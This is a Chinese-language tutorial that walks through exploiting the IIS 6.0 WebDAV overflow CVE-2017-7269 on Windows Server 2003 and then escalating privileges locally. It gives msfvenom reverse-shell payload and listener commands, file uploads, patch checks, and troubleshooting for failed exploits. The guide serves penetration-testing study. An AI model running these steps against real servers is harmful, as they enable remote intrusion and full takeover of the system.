iis6.0(cve-2017-7269)最完整的利用,从远程利用,到本地提权,再到常见失败原因
字数 1772 2025-08-26 22:11:51
IIS 6.0 (CVE-2017-7269) 完整利用指南:从远程利用到本地提权
背景介绍
CVE-2017-7269是IIS 6.0 WebDAV组件中的一个缓冲区溢出漏洞,允许远程攻击者在目标系统上执行任意代码。本指南将详细介绍从远程利用到本地提权的完整过程,并分析常见失败原因及解决方案。
实验环境
- 攻击系统: Kali Linux 2019 x64
- 目标系统: Windows Server 2003 Enterprise x86 (中文版)
- 先决条件: IIS必须开启WebDAV功能
目标系统环境搭建
- 开启WebDAV服务:
- 控制面板 → 管理工具 → Internet信息服务管理器
- Web服务扩展 → 开启WebDAV
远程利用前期准备
-
更新Kali系统:
apt-get update && apt-get upgrade -
注意:Metasploit自带的
exploit/windows/iis/iis_webdav_scstoragepathfromurl模块无效(截至2019/09/05) -
使用dmchell的漏洞利用脚本(需从外部获取)
远程利用过程
-
将Ruby脚本放入Metasploit模块路径:
- 推荐路径:
/usr/share/metasploit-framework/modules/exploits/windows/iis/ - 注意:文件名中的"-"需改为"_"(如
cve_2017_7269.rb)
- 推荐路径:
-
重启MSF或执行
reload_all -
设置参数并执行利用:
- 成功后会获得Network Service权限的meterpreter会话
本地提权前期准备
-
检查目标系统是否安装补丁KB952004:
systeminfo | findstr "KB952004"或
wmic qfe list full | findstr "KB952004" -
备用提权补丁(如果KB952004已安装):
- KB956572 (MS09-012)
- KB970483 (MS09-020)
-
下载本地提权工具(如KB952004利用工具)
本地提权过程
-
在目标系统创建目录:
mkdir c:\tmp -
使用msfvenom生成payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f exe > payload.exe -
设置监听:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST <攻击机IP>; set LPORT 4444; exploit" -
上传文件到目标:
upload /path/to/kb952004-escalate.exe c:\\tmp\\pr.exe upload /path/to/payload.exe c:\\tmp\\ -
执行提权(注意:工具需重命名为pr.exe):
cd c:\tmp pr.exe payload.exe
系统兼容性测试
-
可被利用系统:
- Windows Server 2003 Enterprise x86
- Windows Server 2003 R2 Enterprise x86
-
不可利用系统:
- Windows Server 2003 Enterprise x64
- Windows Server 2003 R2 Enterprise x64
- 已安装补丁KB3197835的系统
常见失败原因及解决方案
1. 端口和域名绑定问题
- 问题描述: If头中的URL端口必须与站点绑定端口匹配,域名需与Host头一致
- 解决方案: 确保exp中的端口配置正确
2. 物理路径长度问题
- 问题描述: 物理路径长度 + 填充字符数必须等于114
- 计算方法: 物理路径长度包括最后的反斜杠(如
C:\Inetpub\wwwroot\为19) - 解决方案: 使用工具爆破网站路径或手动调整填充长度
3. 多次执行错误shellcode
- 问题描述: 可能导致正确shellcode也无法执行,返回500或"参数不正确"
- 解决方案: 避免重复执行错误的exp
4. 会话超时
- 问题描述: exp执行成功后一段时间(10-20分钟)再次执行会返回400
- 解决方案: 等待系统恢复或重启IIS服务
5. 针对非默认配置的解决方案
-
更改网站默认目录:
- 右键网站 → 属性 → 主目录 → 更改本地路径
-
使用zcgonvh的exp替代dmchell的exp,参数包括:
PhysicalPathLength: 网站路径长度- 可使用admintony的工具爆破网站路径
注意事项
- 提权时meterpreter会话可能超时,尝试断开shell终端
- 如果出现"Exploit completed, but no session was created",可能目标已打补丁
- 64位系统通常无法利用此漏洞
- 确保WebDAV服务已启用
工具下载
- 本地提权工具:百度网盘 提取码: ybdt
通过遵循本指南,您应该能够成功利用CVE-2017-7269漏洞,从远程代码执行到本地提权获取系统完全控制权。请确保仅在授权测试的环境中使用这些技术。